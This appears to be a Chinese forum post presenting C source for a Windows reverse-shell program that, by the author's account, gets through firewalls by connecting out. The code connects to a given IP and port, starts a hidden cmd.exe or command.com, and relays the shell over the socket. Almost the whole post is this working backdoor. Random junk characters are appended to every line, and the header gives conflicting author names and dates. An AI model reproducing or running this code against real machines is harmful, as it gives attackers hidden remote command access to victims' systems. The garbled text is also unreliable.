Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Mt[Bq6}ZD  

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/* ============================== k1f3?l vlU  
Rebound port in Windows NT %z-dM` i  
By wind,2006/7 TV1e bH7q  
===============================*/ ]r/(n]=(  
#include C(F1VS  
#include u}-d7-=  
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#pragma comment(lib,"wsock32.lib") I;kf #nvao  
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void OutputShell(); :u>W&D  
SOCKET sClient; eW%L$I  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I"8d5a}  
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void main(int argc,char **argv) lFiq<3Nk  
{  /,1SE(  
WSADATA stWsaData; Xzx[C_G  
int nRet; E/wQ+rv  
SOCKADDR_IN stSaiClient,stSaiServer; DC
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if(argc != 3) gB/;clCdX)  
{ q4sl=`L5Sp  
printf("Useage:\n\rRebound DestIP DestPort\n"); xHEVR!&c4  
return; kF(Ce{;z  
} o5N]((9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); lQh E]m>+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "C:rTIH  
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stSaiClient.sin_family = AF_INET; }': EJ~H  
stSaiClient.sin_port = htons(0); F3r S6_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Rz.i/wg}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?gd'M_-J,  
{ /;(<fh<bY  
printf("Bind Socket Failed!\n"); -;+m%"k5  
return; X!U]`Qh  
} %:" RzHN  
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stSaiServer.sin_family = AF_INET; Rz`@N`U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W.yV/fu  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |f"-|6  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b%3Q$wIJ6  
{ ,]f),;=  
printf("Connect Error!"); -,R0IGS  
return; !?BW_vY  
}  AGh~8[  
OutputShell(); !aQIh  
} D",A$(lG  
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void OutputShell() ow-+>Y[qZ  
{ OfD@\;L  
char szBuff[1024]; =Ml|l$  
SECURITY_ATTRIBUTES stSecurityAttributes; a;56k  
OSVERSIONINFO stOsversionInfo; |2qR^Hd&5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IgLVn<5n  
STARTUPINFO stStartupInfo; ])N|[|$  
char *szShell; !IO&&\5  
PROCESS_INFORMATION stProcessInformation; U^B"|lc:[  
unsigned long lBytesRead; ?O!]8k`1$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HMF8;,<_w?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vAi"$e  
stSecurityAttributes.lpSecurityDescriptor = 0; dj3|f{kg{  
stSecurityAttributes.bInheritHandle = TRUE; {VBR/M(q  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gB>(xY>LrA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `f%&<,i  
A)OdQFet(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F\;2i:(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xy2\'kS`G  
stStartupInfo.wShowWindow = SW_HIDE; {V.Wk  
stStartupInfo.hStdInput = hReadPipe; IZ+*`E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (2: N;  
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GetVersionEx(&stOsversionInfo); '^hsH1  
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switch(stOsversionInfo.dwPlatformId) ]t*33  
{ '-`O. 4u  
case 1: v,n);  
szShell = "command.com"; >g=^,G}y  
break; >+L7k^[,0  
default: !syU]Yk  
szShell = "cmd.exe"; a/#+92C  
break; 3*G5F}7%=  
} eUYZxe :6  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a-fv[oB  
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send(sClient,szMsg,77,0); S3ErH,XB.  
while(1) 9p5= _  
{ B@d1xjp)']  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u',b1 3g(  
if(lBytesRead) J)_>%.
 
{ H4W1\u  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3be6p  
send(sClient,szBuff,lBytesRead,0); nZ~kZ |VS  
} B\f"Iirw  
else g-XKP  
{ wXz\NGW  
lBytesRead=recv(sClient,szBuff,1024,0); X|,["Az 8  
if(lBytesRead<=0) break; L,#^&9bHa#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); en%J!<&W{K  
} g#w`J\iz  
} s}s|~  
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return; ^s=*J=k  
}